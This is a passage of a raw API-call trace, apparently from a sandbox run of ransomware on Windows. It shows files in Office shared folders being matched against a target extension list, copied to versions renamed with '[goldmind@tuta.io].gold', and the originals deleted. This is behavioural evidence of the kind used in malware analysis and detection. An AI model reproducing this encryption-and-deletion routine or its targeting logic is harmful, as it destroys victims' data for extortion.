[0038.155] WriteFile (in: hFile=0x1f4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0038.155] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0038.155] WriteFile (in: hFile=0x1f4, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0038.155] SetEndOfFile (hFile=0x1f4) returned 1 [0038.155] CloseHandle (hObject=0x1f4) returned 1 [0038.156] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.156] SetEndOfFile (hFile=0x1e8) returned 1 [0038.157] CloseHandle (hObject=0x1e8) returned 1 [0038.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0038.157] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0038.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0038.157] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0038.157] lstrlenW (lpString=".doc") returned 4 [0038.157] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.157] lstrlenW (lpString=".docx") returned 5 [0038.157] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.157] lstrlenW (lpString=".pdf") returned 4 [0038.157] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.157] lstrlenW (lpString=".xls") returned 4 [0038.158] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.158] lstrlenW (lpString=".xlsx") returned 5 [0038.158] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.158] lstrlenW (lpString=".ppt") returned 4 [0038.158] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0038.158] lstrlenW (lpString=".zip") returned 4 [0038.158] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.158] lstrlenW (lpString=".rar") returned 4 [0038.158] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.158] lstrlenW (lpString=".bz2") returned 4 [0038.158] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.158] lstrlenW (lpString=".7z") returned 3 [0038.158] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0038.158] lstrlenW (lpString=".dbf") returned 4 [0038.158] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0038.158] lstrlenW (lpString=".1cd") returned 4 [0038.158] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0038.158] lstrlenW (lpString=".jpg") returned 4 [0038.158] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0038.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0038.158] lstrlenW (lpString=".doc") returned 4 [0038.158] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0038.158] lstrlenW (lpString=".docx") returned 5 [0038.158] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0038.158] lstrlenW (lpString=".pdf") returned 4 [0038.158] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0038.158] lstrlenW (lpString=".xls") returned 4 [0038.158] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0038.158] lstrlenW (lpString=".xlsx") returned 5 [0038.158] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0038.158] lstrlenW (lpString=".ppt") returned 4 [0038.158] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0038.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0038.158] lstrlenW (lpString=".zip") returned 4 [0038.158] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0038.158] lstrlenW (lpString=".rar") returned 4 [0038.158] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0038.158] lstrlenW (lpString=".bz2") returned 4 [0038.158] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0038.158] lstrlenW (lpString=".7z") returned 3 [0038.158] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0038.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0038.158] lstrlenW (lpString=".dbf") returned 4 [0038.158] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0038.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0038.158] lstrlenW (lpString=".1cd") returned 4 [0038.158] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0038.158] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML") returned 103 [0038.158] lstrlenW (lpString=".jpg") returned 4 [0038.159] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0038.159] lstrcmpiW (lpString1=".XML", lpString2=".gold") returned 1 [0038.159] lstrlenW (lpString="OutlookMUI.XML") returned 14 [0038.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0038.159] GetFileSizeEx (in: hFile=0x1e8, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=3186) returned 1 [0038.159] CloseHandle (hObject=0x1e8) returned 1 [0038.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0038.159] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0038.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0038.159] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.159] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0038.159] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0039.802] GetLastError () returned 0x0 [0039.802] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0xc72, lpOverlapped=0x0) returned 1 [0039.803] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xc80, lpOverlapped=0x0) returned 1 [0039.804] ReadFile (in: hFile=0x1e8, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x236fed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x236fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.804] WriteFile (in: hFile=0x19c, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x236fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x236fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0039.804] SetEndOfFile (hFile=0x19c) returned 1 [0039.804] CloseHandle (hObject=0x19c) returned 1 [0039.805] SetFilePointerEx (in: hFile=0x1e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x236fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.805] SetEndOfFile (hFile=0x1e8) returned 1 [0039.806] CloseHandle (hObject=0x1e8) returned 1 [0039.806] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0039.806] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0039.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.806] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.806] lstrlenW (lpString=".doc") returned 4 [0039.806] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.806] lstrlenW (lpString=".docx") returned 5 [0039.806] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.806] lstrlenW (lpString=".pdf") returned 4 [0039.807] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.807] lstrlenW (lpString=".xls") returned 4 [0039.807] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.807] lstrlenW (lpString=".xlsx") returned 5 [0039.807] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.807] lstrlenW (lpString=".ppt") returned 4 [0039.807] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.807] lstrlenW (lpString=".zip") returned 4 [0039.807] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.807] lstrlenW (lpString=".rar") returned 4 [0039.807] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.807] lstrlenW (lpString=".bz2") returned 4 [0039.807] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.807] lstrlenW (lpString=".7z") returned 3 [0039.807] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.807] lstrlenW (lpString=".dbf") returned 4 [0039.807] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.807] lstrlenW (lpString=".1cd") returned 4 [0039.807] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.807] lstrlenW (lpString=".jpg") returned 4 [0039.807] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.807] lstrlenW (lpString=".doc") returned 4 [0039.807] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0039.807] lstrlenW (lpString=".docx") returned 5 [0039.807] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0039.807] lstrlenW (lpString=".pdf") returned 4 [0039.807] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0039.807] lstrlenW (lpString=".xls") returned 4 [0039.807] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0039.807] lstrlenW (lpString=".xlsx") returned 5 [0039.807] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0039.807] lstrlenW (lpString=".ppt") returned 4 [0039.807] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0039.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.807] lstrlenW (lpString=".zip") returned 4 [0039.807] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0039.807] lstrlenW (lpString=".rar") returned 4 [0039.807] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0039.807] lstrlenW (lpString=".bz2") returned 4 [0039.807] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0039.807] lstrlenW (lpString=".7z") returned 3 [0039.807] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0039.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.807] lstrlenW (lpString=".dbf") returned 4 [0039.807] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0039.807] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.807] lstrlenW (lpString=".1cd") returned 4 [0039.807] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0039.808] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML") returned 108 [0039.808] lstrlenW (lpString=".jpg") returned 4 [0039.808] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0039.808] lstrcmpiW (lpString1=".emf", lpString2=".gold") returned -1 [0039.808] lstrlenW (lpString="Graph.emf") returned 9 [0039.808] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.490] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=116724) returned 1 [0040.490] CloseHandle (hObject=0x20c) returned 1 [0040.490] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf")) returned 0x20 [0040.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.491] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\graph.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0040.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0040.491] lstrlenW (lpString=".doc") returned 4 [0040.491] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0040.491] lstrlenW (lpString=".docx") returned 5 [0040.491] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0040.491] lstrlenW (lpString=".pdf") returned 4 [0040.491] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0040.491] lstrlenW (lpString=".xls") returned 4 [0040.491] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0040.491] lstrlenW (lpString=".xlsx") returned 5 [0040.491] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0040.491] lstrlenW (lpString=".ppt") returned 4 [0040.491] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0040.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0040.491] lstrlenW (lpString=".zip") returned 4 [0040.491] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0040.491] lstrlenW (lpString=".rar") returned 4 [0040.491] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0040.491] lstrlenW (lpString=".bz2") returned 4 [0040.491] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0040.491] lstrlenW (lpString=".7z") returned 3 [0040.491] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0040.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0040.491] lstrlenW (lpString=".dbf") returned 4 [0040.491] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0040.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0040.491] lstrlenW (lpString=".1cd") returned 4 [0040.491] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0040.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0040.491] lstrlenW (lpString=".jpg") returned 4 [0040.491] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0040.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0040.491] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0040.491] lstrlenW (lpString=".doc") returned 4 [0040.491] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1 [0040.491] lstrlenW (lpString=".docx") returned 5 [0040.491] lstrcmpiW (lpString1=".docx", lpString2="h.emf") returned -1 [0040.491] lstrlenW (lpString=".pdf") returned 4 [0040.491] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1 [0040.491] lstrlenW (lpString=".xls") returned 4 [0040.491] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1 [0040.492] lstrlenW (lpString=".xlsx") returned 5 [0040.492] lstrcmpiW (lpString1=".xlsx", lpString2="h.emf") returned -1 [0040.492] lstrlenW (lpString=".ppt") returned 4 [0040.492] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1 [0040.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0040.492] lstrlenW (lpString=".zip") returned 4 [0040.492] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1 [0040.492] lstrlenW (lpString=".rar") returned 4 [0040.492] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1 [0040.492] lstrlenW (lpString=".bz2") returned 4 [0040.492] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1 [0040.492] lstrlenW (lpString=".7z") returned 3 [0040.492] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1 [0040.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0040.492] lstrlenW (lpString=".dbf") returned 4 [0040.492] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1 [0040.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0040.492] lstrlenW (lpString=".1cd") returned 4 [0040.492] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1 [0040.492] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Graph.emf") returned 67 [0040.492] lstrlenW (lpString=".jpg") returned 4 [0040.492] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1 [0040.492] lstrcmpiW (lpString1=".jpg", lpString2=".gold") returned 1 [0040.492] lstrlenW (lpString="GreenBubbles.jpg") returned 16 [0040.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0040.492] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x236ff1c | out: lpFileSize=0x236ff1c*=6406) returned 1 [0040.492] CloseHandle (hObject=0x20c) returned 1 [0040.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg")) returned 0x20 [0040.492] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0040.492] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0040.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0040.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0040.493] lstrlenW (lpString=".doc") returned 4 [0040.493] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0040.493] lstrlenW (lpString=".docx") returned 5 [0040.493] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0040.493] lstrlenW (lpString=".pdf") returned 4 [0040.493] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0040.493] lstrlenW (lpString=".xls") returned 4 [0040.493] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0040.493] lstrlenW (lpString=".xlsx") returned 5 [0040.493] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0040.493] lstrlenW (lpString=".ppt") returned 4 [0040.493] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0040.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0040.493] lstrlenW (lpString=".zip") returned 4 [0040.493] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0040.493] lstrlenW (lpString=".rar") returned 4 [0040.493] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0040.493] lstrlenW (lpString=".bz2") returned 4 [0040.493] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1 [0040.493] lstrlenW (lpString=".7z") returned 3 [0040.493] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1 [0040.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0040.493] lstrlenW (lpString=".dbf") returned 4 [0040.493] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1 [0040.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0040.493] lstrlenW (lpString=".1cd") returned 4 [0040.493] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1 [0040.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0040.493] lstrlenW (lpString=".jpg") returned 4 [0040.493] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0 [0040.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0040.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0040.493] lstrlenW (lpString=".doc") returned 4 [0040.493] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1 [0040.493] lstrlenW (lpString=".docx") returned 5 [0040.493] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1 [0040.493] lstrlenW (lpString=".pdf") returned 4 [0040.493] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1 [0040.493] lstrlenW (lpString=".xls") returned 4 [0040.493] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1 [0040.493] lstrlenW (lpString=".xlsx") returned 5 [0040.493] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1 [0040.493] lstrlenW (lpString=".ppt") returned 4 [0040.493] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1 [0040.493] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\GreenBubbles.jpg") returned 74 [0040.493] lstrlenW (lpString=".zip") returned 4 [0040.493] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1 [0040.493] lstrlenW (lpString=".rar") returned 4 [0040.493] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1 [0040.493] 